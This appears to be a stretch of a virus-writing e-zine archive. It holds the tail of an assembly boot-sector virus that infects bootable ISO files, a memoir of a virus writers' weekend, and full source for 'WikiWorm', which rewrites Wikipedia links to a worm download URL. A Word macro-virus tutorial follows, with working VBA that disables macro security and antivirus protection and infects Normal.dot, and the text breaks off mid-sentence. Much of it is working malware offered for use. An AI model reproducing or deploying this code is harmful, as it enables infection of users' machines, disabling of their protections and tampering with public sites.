0x3000:0x3E mov bx, 0x3000 ; bx=0x3000 mov es, bx ; Data will be read to ES:BX, ES=0x3000 mov ds, bx xor bx, bx ; BX=0x0 mov ax, 0x3CEB ; AX=Jmp over FAT12 Table mov [bx], ax ; Write the JMP to the changed sector mov bx, 0x1000 ; bx=0x1000 mov es, bx ; Data will be read to ES:BX, ES=0x1000 mov ds, bx xor bx, bx ; BX=0x0 mov ah, 0x3 ; Write mov al, 0x1 ; 1 Sector mov cl, [sector] ; Start at sector ?? mov ch, [cylinder] ; Cylinder=? mov dh, [head] ; Head=?? mov dl, 0x80 ; Drive=0x80=HD mov bx, 0x3000 ; bx=0x3000 mov es, bx ; Data will be read to ES:BX, ES=0x3000 mov ds, bx xor bx, bx ; BX=0x0 int 0x13 ; Write Bootsector mov bx, 0x1000 ; bx=0x1000 mov es, bx ; Data will be read to ES:BX, ES=0x3000 mov ds, bx xor bx, bx ; BX=0x0 mov cx, 3 ; Do it 3 times WriteSecs: push cx push bx mov eax, [LBA] mov edx, 4 sub dx, cx add eax, edx ; Get next sector xor edx, edx call CHS ; CHS pop bx ; restore bx mov ah, 0x3 ; Write mov al, 0x1 ; 1 Sector mov cl, [sector] ; Start at sector ?? mov ch, [cylinder] ; Cylinder=?? mov dh, [head] ; Head=?? mov dl, 0x80 ; Drive=0x80=HD int 0x13 ; Write Sectors pop cx ; Restore cx add bx, 0x200 ; Next sector loop WriteSecs ret infectionISO: mov ax, [bx+20] ; High number of cylinder to ax shl eax, 0x10 ; High number in e-part of eax mov ax, [bx+26] ; Low number of cylinder to ax mov bx, 0x1000 ; ax=0x1000 mov es, bx ; Data will be read to ES:BX, ES=0x1000 mov ds, bx xor bx, bx ; BX=0x0 mov [LBA], eax ; DataCluster=EAX call getLBA ; Get the sector number push eax ; Save the start of the file add eax, 17*4 ; Bootrecord Volume is ALWAYS at CD-ROM Sector 17 ; A CD-ROM sector is ALWAYS 0x800 ; A HD sector is ALWAYS (?) 0x200 (0x200*4[!]=0x800) ; We now have the sector of the Boot Record Volume of the ISO file at the HD call CHS ; Now calculate the CHS mov ah, 0x2 ; Read mov al, 0x1 ; 1 Sector mov cl, [sector] ; Start at sector ?? mov ch, [cylinder] ; Cylinder=? mov dh, [head] ; Head=?? mov dl, 0x80 ; Drive=0x80=HD mov bx, 0x3000 ; bx=0x3000 mov es, bx ; Data will be read to ES:BX, ES=0x3000 mov ds, bx xor bx, bx ; BX=0x0 int 0x13 ; Read Sector ; Now we have the Boot Record Volume pop ecx ; ECX=Start of file mov eax, [bx+7] ; Move Byte 7-10 to eax cmp eax, 'EL T' ; Check if it's a bootable ISO file ; String should be 'EL TORITO SPECIFICATION' jne EndISOInfection ; If not: SHIT! ;) push ecx ; Save the Start of the file again mov eax, [bx+71] ; Move the 'Absolute pointer to first sector of Boot Catalog' to eax mov edx, 4 mul edx ; You know: 0x800/0x200=4; Now it's the right sectornumber add eax, ecx ; Sector number at HD mov bx, 0x1000 ; bx=0x1000 mov es, bx ; Data will be read to ES:BX, ES=0x1000 mov ds, bx xor bx, bx ; BX=0x0 call CHS ; Get the CHS mov ah, 0x2 ; Read mov al, 0x1 ; 1 Sector mov cl, [sector] ; Start at sector ?? mov ch, [cylinder] ; Cylinder=? mov dh, [head] ; Head=?? mov dl, 0x80 ; Drive=0x80=HD mov bx, 0x3000 ; bx=0x3000 mov es, bx ; Data will be read to ES:BX, ES=0x3000 mov ds, bx xor bx, bx ; BX=0x0 int 0x13 ; Read Sector ; Now we have the Boot Catalog pop ecx ; Get Start of the file mov al, [bx+32] ; AL=Boot Indicator: 0x88=bootable cmp al, 0x88 ; Check if it's bootable jne EndISOInfection ; If not: SHIT! ;) mov eax, [bx+40] ; This is the start sector of the virtual Disk mov edx, 4 ; EDX=4 mul edx ; EAX=The real Sector in the file add eax, ecx ; EAX=The Sector of it on the HD mov bx, 0x1000 ; bx=0x1000 mov es, bx ; Data will be read to ES:BX, ES=0x1000 mov ds, bx xor bx, bx ; BX=0x0 mov [LBA], eax call CHS ; Get the CHS mov ah, 0x2 ; Read mov al, 0x1 ; 1 Sector mov cl, [sector] ; Start at sector ?? mov ch, [cylinder] ; Cylinder=? mov dh, [head] ; Head=?? mov dl, 0x80 ; Drive=0x80=HD mov bx, 0x3000 ; bx=0x3000 mov es, bx ; Data will be read to ES:BX, ES=0x3000 mov ds, bx xor bx, bx ; BX=0x0 int 0x13 ; Read Sector ; Now we have the Bootsector of the virtual Disk call infectimgwrite ; Infect the file!!! EndISOInfection: ret ende_a: mov ax, 0x1000 ; ax=0x1000 mov es, ax ; Data will be read to ES:BX, ES=0x1000 mov ds, ax xor bx, bx ; BX=0x0 mov cx, 116 ; 116 Letters mov si, endmsg ; si=Offset of String jmp eee putstra: lodsb ; [si]->al mov ah, 0xE ; ah=0xE: Print Letter to Screen mov bx, 0x7 int 0x10 ; call loop putstra ; Next Letter mov al, 13 mov ah, 0xE mov bx, 0x7 int 0x10 mov al, 10 mov ah, 0xE mov bx, 0x7 int 0x10 ret eee: call putstra mov ah, 0 ; ah=0: Get Key BIOS Function int 0x16 ; Call jmp reboot ; Now let's reboot! CHS: xor ebx, ebx ; ebx=0 mov bl, [TotalSector] ; Total Sectors div ebx ; EDX:EAX DIV EBX= ; EAX= Quotient ; EDX= Reminder inc dx ; Reminder+1=Sector mov [sector], dl ; Sector=Reminder (not more than 0xFF) mov [cylhead], eax mov edx, eax ; EDX=Quotient shr edx, 16 ; DX=High number of quotient xor bx, bx ; BX=0 mov bl, [TotalHead] ; Total Heads div bx ; DX:AX DIV BX= ; AX= Quotient ; DX= Reminder mov [head], dl ; Head=Reminder mov [cylinder], al ; Cylinder=Quotient shl ah, 6 ; 0000 00?? -> ??00 0000 mov al, [sector] ; high two bits of cylinder (bits 6-7, hard disk only) or al, ah ; 00xx xxxx -> ??xx xxxx mov [sector], al ; Save! ret getLBA: ;; Find Data: ;; (boot sector)+(number of fats)*(sectors per fat)+(reserved sectors)+(Data cluster-2)*(sectors per cluster) ;; DataCluster saved in LBA mov eax, [SecPerFat] ; eax=SecPerFat xor bx, bx ; bx=0 mov bl, [NumOfFats] ; bl=NumOfFats mul bx ; AX*BX=DX:AX mov [FATCalc], ax ; Save the result xor eax, eax ; EAX=0 mov al, [SecPerClust] ; al=SecPerClust mov ebx, [LBA] ; ebx=DataCluster sub ebx, 2 ; DataCluster-=2 mul ebx ; EAX*EBX=EDX:EAX mov [ClustCalc], eax ; Save the result xor eax, eax ; eax=0 mov ax, [BootSecPar] ; AX=Sectors before the 1st partition xor ebx, ebx ; ebx=0 mov bx, [FATCalc] ; BX=(number of fats)*(sectors per fat) add eax, ebx ; AX+=BX mov bx, [ReservedSec] ; BX=Reserved Sectors add eax, ebx ; AX+=BX mov ebx, [ClustCalc] ; BX=(Root Cluster-2)*(Sectors per Cluster) add eax, ebx ; AX+=BX xor edx, edx ; EDX=0 ret endmsg db 13,10,13,10,13,10 db 'Thank you for using SPTH-OS 2.0!',13,10 db 'This may spread better then Windows(c)(r)tm ;-)',13,10 db 'by Second Part To Hell/rRlf' sector db 0x0 head db 0x0 cylinder db 0x0, 0x0 cylhead dd 0x0 bit2cyl db 0x0 LBA dd 0x0 BootSecPar dw 0x0 TotalSector db 0x0 ; BPB_SecPerTrk: For CHS calculation TotalHead db 0x0 ; BPB_NumHeads: For CHS calculation SecPerClust db 0x0 ; Offset 13 ReservedSec dw 0x0 ; Offset 14 NumOfFats db 0x0 ; Offset 16 SecPerFat dd 0x0 ; Offset 36 FATCalc dw 0x0 ; NumOfFats*SecPerFat (should not be greater than 0xFFFF) ClustCalc dd 0x0 ; (RootClust-2)*(SecPerClust) fat12bootsector: db 0xFA,0xB8,0x00,0x90,0x8E,0xD0,0xBC,0x00 db 0x00,0xFB,0x88,0x16,0x7C,0x7C,0x1E,0xB8 db 0x00,0x00,0x8A,0x16,0x7C,0x7C,0xCD,0x13 db 0x1F,0x72,0xF3,0xB8,0x00,0x10,0x8E,0xC0 db 0xBB,0x00,0x00,0xB4,0x02,0xB0,0x03,0xB9 db 0x02,0x00,0xBA,0x00,0x00,0xCD,0x13,0x72 db 0xEA,0xB8,0x00,0x10,0x8E,0xC0,0x8E,0xD8 db 0x50,0xB8,0x00,0x00,0x50,0xCB reboot: db 0xEA ; Hexdump for reboot: jmp 00FF:FF00 dw 0x0 dw 0xFFFF totalend:articles
The weekend of rRlf meeting Second Part To Hell The weekend of rRlf meeting by Second Part To Hell The whole story started months ago, when DvL announced the .ro virus meeting. PhileT0ast3r and me talk about that and we decided to go to .ro in summer 2004. Well, time went and suddenly philie dropped me a mail: "What about the .ro meeting". I said OK, and I checked the trains to romania. Doing that I had to look twice: The train will need about 24h, and as philie's free-time where just a few time I called him and he told me the same (24h is too long) and a one-way ticket costs about 350 Euros. That was definitivly too much for a pupile as I am. S we decided not to go to romania, but to go to germany as PhileT0ast3r invated me, I said yes and everything was OK. Friday: Well, the way to Germany costed me about 8-9 hours. After that amazing trip I arrived in Germany at the railway-station, where philie came (~15mins too late :D ) to took me up. When I finished starring at his new hair-color (neon-red/neo-yellow) we went home to his appartment, as you can imagine. There the first thing happened: The cops of philie's city presented themself and prepered a quiz for everybody. As I thought it would be funny, we did the quiz. We had a funny conversation with the cops and we finished the quiz. After that I stole the very first thing from a cop: A silly red pen (which I've destroyed and lost later on) :) Being still on the way to his appartment (no, it's not that long), we met Disk0rdia (for me it was the second time), and we talk a little bit, then we finally arrived in philie's appartment. His room, I can tell you, is amazing! I checked it out for ~30mins, just looking to the walls let you find something new every time. In his room he showed me a couple of magazines, where rRlf is mentioned and I read some of these articles, then we started the computer and he showed me some of his unreleased/unfinished codes and a great collection of strange pictures. There we also shared much ideas about future malware. One strange thing at that afternoon was the eating: Philie, a vegetarian, gave me something green in a glass full of oil to eat, which I have never ever seen before. It smelled strange, but tasted funny/good. :) After eating we played a nice game (I can't remember the name), where you can drive though the city with a cool car, destroy things and kill cops (It's sounds evil, but it's a very great game, believe me). Finishing playing we desiced to go the the mini-alternative-festival, which's tickets we have already bought. That festival was really great, the bands were Mindjuice, rumbuddl, Emil Bulls and others. The great sound of psycho and metal made me happy :)! When the sun was still shining (summer=much time with sun), we just talked about strage stuff and drank beer. But in the night, after ~5-10 beers we went infront of the stage and started Pogo (I hope everybody knows: the no-rule-tance). Woow, it was great and it hurt sometime (and sometime even more). One time, philie got the great idea of doing stage-diving (which is not that healthy when just 20-50 people are direct infront of the stage. Well, philie did first and everthing were great: He was taken to the air by some funny Metal/alternatives. Then I did the same (which was the first time when I did stage-diving), and was a great feeling, believe me, and as it was that great, I wanted to do it again and I did, but that time it was more painful: Too few guys hold me and I crashed into the ground with my head and some Pogo-dancer jumped on me (autsch - but per fortuna I had enough alcohol in my blood and it was not that problem). After the concert we drove back to philie's flat and desided to drink some of the KORN (80% alcohol), which I got in an austrian market. After that we went to bed, as it was ~3am and I was tired as hell! Saturday: The very first thing we did, when we wake up that day was drinking another drink of the damn KORN 80! That is a really good start for the day, I can tell you! After thinking the lips and the mouth burns because of that drink, we started the computer again and looked at pictures/codes/games, which was really chilly! ~At Midday PhileT0ast3r told me about a video he stole some years ago when he worked at a supermarket. It sounded interesting so we started the TV and inputed that video. The video was a movie for motivating the workers at the supermarket. Shit, it was too stupid. Totally motivated workers made unfunny jokes and had great fun with their boss. Everybody was happy. Damn, that movie was sooo unreal :). That day we wanted to meet DiA, so we went to the car and drove to DiA's city. It tooked us about 2h to find that city. Meanwhile we talked about coding/viruses/art/antifa/... . Arriving in that city we had no idea where to go, so we ask a guy at the street. But unfortunatly we noticed, that the guy was drunken as hell and he even smelled like that :), so we had to ask somebody else. And than, finally, we arrived at the railway-station, where we met DiA! First thing we did was going to a park and signed a bank with our names! This is now the official rRlf-bank, I think! After drinking a beer we (PhileT0aster, DiA and me) drove to a bar in that city and we drank more beer and talked alot about the everything (viruses and other strange plans). Unfortunatly DiA had to leave soon (after some hours), and after eating something we drove back to philie's city. There we drove to a meeting of much kids at a [zeltlager - don't know the english name for that], which was organised by a church group or something like that, and there I also met dr. g0nzo, who was one or the organizer. We had a beer together and after some time we drove back to philie's flat. There we opened the KORN 80 again and drunk much while playing computer (I think we played, from here on I can't really remember everything/anything, you'll notice later on why). Then PhileT0aster invated his girlfriend for a chill-out night! Well, what we did was talking alot and, of course, drinking that damn KORN!!! Philie's girlfriend was a very friendly and cool girl, and it was a very funny night! We drank KORN, listened to music, talked and drank KORN :) Anywhen, I think it was about 2-3am, philie felt asleep as he was too drunken! So his girlfriend and me had to drink alone! After some time she tooked out a package of weed, and made some joints, which we smoked. Unfortanutally I can't remembered how it was, as I was too drunken. That night I also called my girlfriend at ~4-5am (don't know why) and I invested ~25 Euros for that one (or more - who knows?!) phone-call! I think the night ended at ~5-6am, when we went to bed. Sunday: At 8am, being still drunken, we woke up and desided to let that day start as the last day: With a KORN 80%! :) As we (or just me) were still tired we felt asleep again and wake up at 11am. What we did first you could imagine: Drinking a KORN again! :) Woow, that drink was great :) Then we drove to the railway-station, as I had to go home! At the station we went into a book/magazine shop as we wanted to find a magazine with an article, where BlueOwl was mentioned. But what we found was not that article, but an article by Michael Ausserbauer called 'Ungeziefer'. The article was something like an open letter to virus writers, full with sacasm and hate! :) The very funny thing was: PhileT0ast3r (a virus-writer) read the article to me (another virus writer), and we had a good laugh with that, as you could imagine! :) After that I had to go home by train for 8-9h! All in all I could say that that weekend was funny as hell, and I'm looking forward to see PhileT0ast3r and DiA again!sources
WikiWorm Second Part To Hell ;;;;;;;;;;;;;;;;;;;;;;;;;;;;[WikiWorm];;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; WikiWorm ;; by Second Part To Hell ;; www.spth.de.vu ;; spth@priest.com ;; written in May 2006 ;; ;; This is the probably first malware which uses wikipedia for ;; spreading. It downloads a random article, searchs the title ;; of the article, downloads the article's edit page, changes ;; all external wiki links to a worm-download-page, and opens ;; the HTML file. ;; ;; This is a simple POC version - but imagine the virus would ;; create a HTTP-server at the victims computer and change the ;; links to the IP ('http://127.0.0.1/worm.exe' - for example). ;; ;; More information about wikipedia, see my article in rRlf#7. ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;[WikiWorm];;;;;;;;;;;;;;;;;;;;;;;;;;;; include '..\FASM\INCLUDE\win32ax.inc' URLWormDownload equ 52 onLoadStringLen equ 68 methodpostlen equ 22 VirtualAllocSize equ 0x80000 MethodChangeSize equ 23 InetLength equ 34 szFileNameLength equ 15 .data memory_alloc dd 0x0 memory_alloc2 dd 0x0 szURL db 'http://en.wikipedia.org/wiki/Special:Random', 0x0 szFileName db 'downloaded.html', 0x0 hArticleF dd 0x0 ddArticleSize dd 0x0 hArticleMap dd 0x0 hArticleMapView dd 0x0 ArticleNameSt dd 0x0 ArticleNameLen dd 0x0 EditLinkStart db 'http://en.wikipedia.org/w/index.php?title=' EndEditLinkStart: EditLinkEnd db '&action=edit' EndEditLinkEnd: URLtoWormDownload db 'http://people.freenet.de/artistsroom/information.exe' LinkStart dd 0x0 LinkEnd dd 0x0 LinkSize dd 0x0 onLoadString db '<body ONLOAD="window.setTimeout(',39,'document.editform.submit()',39,', 1 );">' BodyDest dd 0x0 BodySize dd 0x0 FALSE_F dd 0x0 methodpostURL db 'method="post" action="' MethodFound dd 0x0 MethPointer dd 0x0 program_dir_reg_subkey db 'SOFTWARE\Microsoft\Windows\CurrentVersion',0x0 program_dir_reg_value db 'ProgramFilesDir',0x0 reg_handle dd 0x0 reg_value_type dd 0x0 reg_buffer_size dd 0x25 reg_buffer: times 0x25 db 0x0 ; Program-Dir-Buffer ProgramDirLength dd 0x0 InetPath db '\Internet Explorer\iexplore.exe" "' STARTUPINFO_struct: StartUp_struct_cb dd 0 StartUp_struct_lpReserved dd 0 StartUp_struct_lpDesktop dd 0 StartUp_struct_lpTitle dd 0 StartUp_struct_dwX dd 0 StartUp_struct_dwY dd 0 StartUp_struct_dwXSize dd 0 StartUp_struct_dwYSize dd 0 StartUp_struct_dwXCountChars dd 0 StartUp_struct_dwYCountChars dd 0 StartUp_struct_dwFillAttribute dd 0 StartUp_struct_dwFlags dd 0 StartUp_struct_wShowWindow dw 0 StartUp_struct_cbReserved2 dw 0 StartUp_struct_lpReserved2 dd 0 StartUp_struct_hStdInput dd 0 StartUp_struct_hStdOutput dd 0 StartUp_struct_hStdError dd 0 ; end STARTUPINFO PROCESS_INFORMATION_struct: PROCESS_INFORMATION_hProcess dd 0 PROCESS_INFORMATION_hThread dd 0 PROCESS_INFORMATION_dwProcessId dd 0 PROCESS_INFORMATION_dwThreadId dd 0 ; end PROCESS_INFORMATION .code start: invoke MessageBox, 0x0, "Don't worry - be happy! :)", "Artwork by Second Part To Hell/rRlf", 0x0 call ReserveMemory ; Reserve 512KB Memory mov [memory_alloc], eax call ReserveMemory ; Reserve 512KB Memory mov [memory_alloc2], eax wiki_main_loop: mov eax, szURL call DownloadFile ; Download the File, URL in eax call MapViewFile ; Create a MapView of szFileName call SearchArticleName ; Search the full name of the article call MakeEditName ; Make the Edit-Name of the article call MakeEditLink ; Make the Edit-Link of the article call CloseMapFile ; Close the MapView and the File mov eax, [memory_alloc] call DownloadFile ; Download the file, URL in eax call MapViewFile ; Create a MapView of szFileName call ContentToVirtualAlloc ; Copy the MapView to the Virtual Alloc call CloseMapFile ; Close the MapView and the File call SearchExternalLink ; Searchs and changes external wiki links ; searchs for '[htt' and '[ftp' call GenBodyOnLoad ; Make the onload-part call ChangePostMethod ; Change the relative URL of the post-php to a static call WriteContentToFile ; Write the manipulated content to the file call ExecuteHTMLPage ; Open the file now, to save the changes at wikipedia call EmptyBuffers ; Fill Buffers with 0x0 jmp wiki_main_loop signation db 'POC' ReserveMemory: invoke VirtualAlloc, \ ; Reserve Memory 0x0, \ VirtualAllocSize, \ ; 512 KB RAM 0x1000, \ 0x4 ret DownloadFile: ; In: eax=URL invoke URLDownloadToFile, \ ; Download a random article NULL, \ eax, \ szFileName, \ NULL, \ NULL invoke Sleep, \ ; 2.5seconds for downloading should be enough 2500 ret MapViewFile: invoke CreateFile, \ ; Open the file szFileName, \ GENERIC_READ or GENERIC_WRITE, \ 0x0, \ 0x0, \ OPEN_EXISTING, \ FILE_ATTRIBUTE_NORMAL, \ 0x0 mov [hArticleF], eax ; Save the handle cmp eax, INVALID_HANDLE_VALUE je Lwiki_main_loop ; If anything does not work, begin again invoke GetFileSize, \ ; Get the Filesize of the file [hArticleF], \ ddArticleSize mov [ddArticleSize], eax invoke CreateFileMapping, \ ; Create a Map of the File [hArticleF], \ 0x0, \ PAGE_READWRITE, \ 0x0, \ [ddArticleSize], \ 0x0 mov [hArticleMap], eax invoke MapViewOfFile, \ ; Create a MapViewOfFile [hArticleMap], \ FILE_MAP_ALL_ACCESS, \ 0x0, \ 0x0, \ [ddArticleSize] mov [hArticleMapView], eax ret CloseMapFile: invoke UnmapViewOfFile, \ ; Close MapView [hArticleMapView] invoke CloseHandle, \ ; Close FileMapping [hArticleMap] invoke CloseHandle, \ ; Close File [hArticleF] ret Lwiki_main_loop: pop eax ; Trash jmp wiki_main_loop SearchArticleName: mov eax, [hArticleMapView] add eax, 445 ; Bytes which are before the title (HTML stuff) - excl. meta-keywords SearchArticleNameLoop: inc eax mov ebx, [eax] cmp ebx, '<tit' ; Articlename by HTML-tag '<title>' jne SearchArticleNameLoop ; <title>Anarchism - Wikipedia, the free encyclopedia</title> add eax, 7 mov [ArticleNameSt], eax SearchArticleNameEnd: inc eax mov ebx, [eax] cmp ebx, ' - W' ; End of the article name=' - W' jne SearchArticleNameEnd mov byte [eax], 0x0 sub eax, [ArticleNameSt] mov [ArticleNameLen], eax ret MakeEditName: mov ecx, [ArticleNameLen] MakeEditNameLoop: mov eax, [ArticleNameSt] add eax, ecx cmp byte [eax], ' ' jne MENL mov byte [eax], '_' ; Change every <space> to '_', as wikipedia uses underlines MENL: ; instead of <space> for internal links. loop MakeEditNameLoop ret MakeEditLink: mov eax, [memory_alloc] mov esi, EditLinkStart mov edi, eax mov ecx, EndEditLinkStart-EditLinkStart rep movsb add eax, EndEditLinkStart-EditLinkStart mov esi, [ArticleNameSt] mov edi, eax mov ecx, [ArticleNameLen] rep movsb add eax, [ArticleNameLen] mov esi, EditLinkEnd mov edi, eax mov ecx, EndEditLinkEnd-EditLinkEnd rep movsb ret ContentToVirtualAlloc: mov esi, [hArticleMapView] mov edi, [memory_alloc] mov ecx, [ddArticleSize] rep movsb ret SearchExternalLink: mov eax, [memory_alloc] add eax, 5050 ; The content infront of the text-area. SearchLinkLoop: inc eax cmp dword [eax], '[htt' ; Search an external link (HTTP) je FoundLink cmp dword [eax], '[ftp' ; Search an external link (FTP) je FoundLink cmp byte [eax], 0x0 jne SearchLinkLoop ret FoundLink: mov [LinkStart], eax inc [LinkStart] xor ebx, ebx SearchEndLinkLoop: inc eax inc ebx cmp byte [eax], ' ' ; [http://www.rrlf.de.vu/ Linkname] ? je FoundEndLink cmp byte [eax], ']' ; [http://www.rrlf.de.vu/] ? je FoundEndLink cmp ebx, 0x100 ; Longer than 255? Maybe mistake in wiki-article. jl SearchEndLinkLoop mov eax, [LinkStart] jmp SearchLinkLoop FoundEndLink: mov [LinkEnd], eax mov [LinkSize], eax mov eax, [LinkStart] sub [LinkSize], eax mov esi, [LinkEnd] ; From Linkend mov edi, [memory_alloc2] mov ecx, [ddArticleSize] sub ecx, [LinkEnd] add ecx, [memory_alloc] rep movsb ; Write the content after the link to the new destination (relative) mov esi, [memory_alloc2] mov edi, [LinkEnd] ; To new destination (LinkEnd-(LinkSize-URLWormDownload)) sub edi, [LinkSize] add edi, URLWormDownload mov ecx, [ddArticleSize] sub ecx, [LinkEnd] add ecx, [memory_alloc] rep movsb mov eax, [LinkSize] sub eax, URLWormDownload add [ddArticleSize], eax mov esi, URLtoWormDownload mov edi, [LinkStart] mov ecx, URLWormDownload rep movsb ; Replace the old URL with the worm-download URL mov eax, [LinkStart] jmp SearchLinkLoop GenBodyOnLoad: mov eax, [memory_alloc] SearchBody: inc eax cmp dword [eax], '<bod' ; Search the body tag jne SearchBody mov [BodyDest], eax SearchEndBody: inc eax cmp byte [eax], '>' ; End of body tag jne SearchEndBody sub eax, [BodyDest] inc eax mov [BodySize], eax mov ecx, [ddArticleSize] sub ecx, [BodySize] sub ecx, [BodyDest] add ecx, [memory_alloc] xor ebx, ebx MakeOnLoadBufferLoop: mov esi, [memory_alloc] add esi, [ddArticleSize] sub esi, ebx mov edi, esi add edi, 68 mov al, byte [esi] mov byte [edi], al inc ebx loop MakeOnLoadBufferLoop mov eax, [ddArticleSize] add eax, onLoadStringLen sub eax, [BodySize] mov [ddArticleSize], eax mov esi, onLoadString mov edi, [BodyDest] mov ecx, onLoadStringLen rep movsb ret WriteContentToFile: invoke CreateFile, \ ; Open the file szFileName, \ GENERIC_READ or GENERIC_WRITE, \ 0x0, \ 0x0, \ OPEN_EXISTING, \ FILE_ATTRIBUTE_NORMAL, \ 0x0 mov [hArticleF], eax ; Save the handle invoke WriteFile, \ [hArticleF], \ [memory_alloc2], \ [ddArticleSize], \ FALSE_F, \ 0x0 invoke CloseHandle, \ [hArticleF] ret ChangePostMethod: mov eax, [memory_alloc] ; Change the relative ('/w/index.php'...) to FindPostMethodLoop: ; ('http://en.wikipedia.org/w/index.php'...) inc eax cmp dword [eax], 'meth' je FoundAValue mov ebx, [memory_alloc] add ebx, VirtualAllocSize cmp eax, ebx jl FindPostMethodLoop ret FoundAValue: mov [MethodFound], eax mov ecx, methodpostlen-1 CheckValue: mov eax, [MethodFound] add eax, ecx mov ebx, methodpostURL add ebx, ecx mov al, byte [eax] cmp al, byte [ebx] jne NotRightValuePost loop CheckValue add [MethodFound], methodpostlen mov esi, [memory_alloc] mov edi, [memory_alloc2] mov ecx, [MethodFound] sub ecx, [memory_alloc] mov [MethPointer], ecx rep movsb mov esi, EditLinkStart mov edi, [MethPointer] add edi, [memory_alloc2] mov ecx, 23 rep movsb add [MethPointer], MethodChangeSize mov esi, [MethodFound] mov edi, [MethPointer] add edi, [memory_alloc2] mov ecx, [ddArticleSize] add ecx, [memory_alloc] sub ecx, [MethodFound] rep movsb ret NotRightValuePost: mov eax, [MethodFound] jmp FindPostMethodLoop ExecuteHTMLPage: invoke RegOpenKeyEx, \ ; Open the reg-key for getting the ProgramDir-Path HKEY_LOCAL_MACHINE, \ program_dir_reg_subkey, \ 0x0, \ KEY_ALL_ACCESS, \ reg_handle invoke RegQueryValueEx, \ ; Read the info [reg_handle], \ program_dir_reg_value, \ 0x0, \ reg_value_type, \ reg_buffer, \ reg_buffer_size invoke RegCloseKey, \ ; Close reg-key [reg_handle] mov eax, [memory_alloc] mov byte [eax], '"' mov eax, reg_buffer SearchEndOfProgramDir: inc eax cmp byte [eax], 0x0 jne SearchEndOfProgramDir sub eax, reg_buffer mov [ProgramDirLength], eax mov esi, reg_buffer mov edi, [memory_alloc] inc edi mov ecx, [ProgramDirLength] rep movsb inc [ProgramDirLength] mov esi, InetPath mov edi, [memory_alloc] add edi, [ProgramDirLength] mov ecx, InetLength rep movsb add [ProgramDirLength], InetLength mov eax, [ProgramDirLength] add eax, [memory_alloc] invoke GetCurrentDirectory, \ 0x255, \ eax mov eax, [ProgramDirLength] add eax, [memory_alloc] SearchEndOfCurrentDir: inc eax cmp byte [eax], 0x0 jne SearchEndOfCurrentDir mov [ProgramDirLength], eax mov byte [eax], '\' inc [ProgramDirLength] mov esi, szFileName mov edi, [ProgramDirLength] mov ecx, szFileNameLength rep movsb mov eax, [ProgramDirLength] add eax, szFileNameLength mov byte [eax], '"' inc eax mov byte [eax], 0x0 invoke CreateProcess, \ ; Execute the extrac32-string 0x0, \ ; Now the extracted version of the victim is in the temp-direcory [memory_alloc], \ ; '"'+%program-dir%+'\Internet Explorer\iexplore.exe" "'+%current-dir%+'\downloaded.html"' 0x0, \ 0x0, \ FALSE, \ 0x0, \ 0x0, \ 0x0, \ STARTUPINFO_struct, \ PROCESS_INFORMATION_struct invoke Sleep, \ 2500 ret EmptyBuffers: mov ecx, VirtualAllocSize -1 EmptyBuffersLoop: mov eax, [memory_alloc] add eax, ecx mov byte [eax], 0x0 mov eax, [memory_alloc2] add eax, ecx mov byte [eax], 0x0 loop EmptyBuffersLoop ret .end startarticles
Programming a Template Macro virus in MS Word Zed Programming a Template Macro virus in MS Word by Zed If you are familiar with VB/VBScript/VBA or any other VB-based program, you shouldn't have too much trouble understanding the way macro viruses work. Before I get started on the code, I am going to briefly explain how MS Word Macro viruses work, and the problem with Import/Export Macro viruses. Most MS Word Macro viruses work by infecting the Normal Template (usually Normal.dot) and attach themselves to what ever document that gets opened or closed. Usually a Templates' default name is 'ThisDocument'. Another thing that most newbie macro virus programmers do is make a macro virus that imports and exports its own code to a particular directory in the system. For example, they make a macro virus that exports its code to the C:\WINDOWS folder, and imports it into other documents when they are opened or closed. The problem with this is that the C:\WINDOWS directory might not exist, or nothing can be changed in the C:\WINDOWS directory (no editing, moving, creating or deleting of files). There is a solution that you can do for this. You can make a macro virus that 'string infects' other documents. This is done by the macro copying itself directly from one location to another, without importing or exporting itself. This could possibly allow your macro virus to run on a Macintosh. Macro viruses that String infect have more chances in survival than import/export macro viruses. Also note that there are many ways to program a macro virus. Macro viruses can be in a Module, Class Module, or a Template form. My favourite form of macro virus coding is a Template macro virus that String infects. Here is a basic code of a macro virus that string infects: ' ----------------------------------------------------------- Private Sub Document_Open() On Error Resume Next Options.VirusProtection = False Options.SaveNormalPrompt = False Options.ConfirmConversions = False K1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" K2 = Application.Version & "\Word\Security" For RegLoop = 0 To 1 KeyArray = Array("Level", "AccessVBOM") System.PrivateProfileString("", K1 & K2, KeyArray(RegLoop)) = 1& Next RegLoop Set DTemplate = ActiveDocument.VBProject.VBComponents(1) Set NTemplate = NormalTemplate.VBProject.VBComponents(1) Set DTCode = DTemplate.CodeModule Set NTCode = NTemplate.CodeModule If NTemplate.Name <> "MacroTest" Then NTCode.DeleteLines 1, NTCode.CountOfLines NTCode.InsertLines 1, DTCode.Lines(1, DTCode.CountOfLines) NTemplate.Name = "MacroTest" End If If DTemplate.Name <> "MacroTest" Then DTCode.DeleteLines 1, DTCode.CountOfLines DTCode.InsertLines 1, NTCode.Lines(1, NTCode.CountOfLines) DTemplate.Name = "MacroTest" End If LeftName = Left(ActiveDocument.Name, 8) RightName = Right(ActiveDocument.Name, 1) If LeftName = "Document" And IsNumeric(RightName) = True Then ActiveDocument.Saved = True Else ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End If End Sub ' ------------------------[Code Ends]------------------------ This macro virus does the following (in steps): 1) Activates on opening of the infected document (duh really) 2) Attempts to set MS Word security to low, so that all macros will automatically run without the users knowledge. 3) Checks to see if the Normal Templates value name is 'MacroTest' (If it's name is not 'MacroTest', It will infect the Normal Template and change it's name to 'MacroTest') 4) Checks to see if the accessed documents macro value name is 'MacroTest' (If it's name is not 'MacroTest', It will infect the accessed documents template, and change it's Template value name to 'MacroTest') 5) Determines if the document exists on the drive (eg. If it hasn't been saved, it would have a name like 'Document1'). If the document exists, it will save the document. For those who don't understand some of the coding that I used above, I will explain in steps, what techniques the macro virus uses. Step 1: Disabling AntiVirus security ------------------------------------ If an AntiVirus scanner is installed, it usually uses MS Word protection when a word document is opened or closed. This code below will help avoid the AntiVirus scanner from scanning the rest of the document: ' --------------------------------------------------------------------- Options.VirusProtection = False ' --------------------------------------------------------------------- So this code above basically attempts to stop the AntiVirus scanners MS Word protection techniques. Step 2: Stopping the Normal prompt message ------------------------------------------ There is nothing worse for your macro virus to do than to let the user know that the macro virus exists itself. If you modify the Normal Template in any way, it will display a message saying that the Normal Template has been modified, and if you would like to save the changes 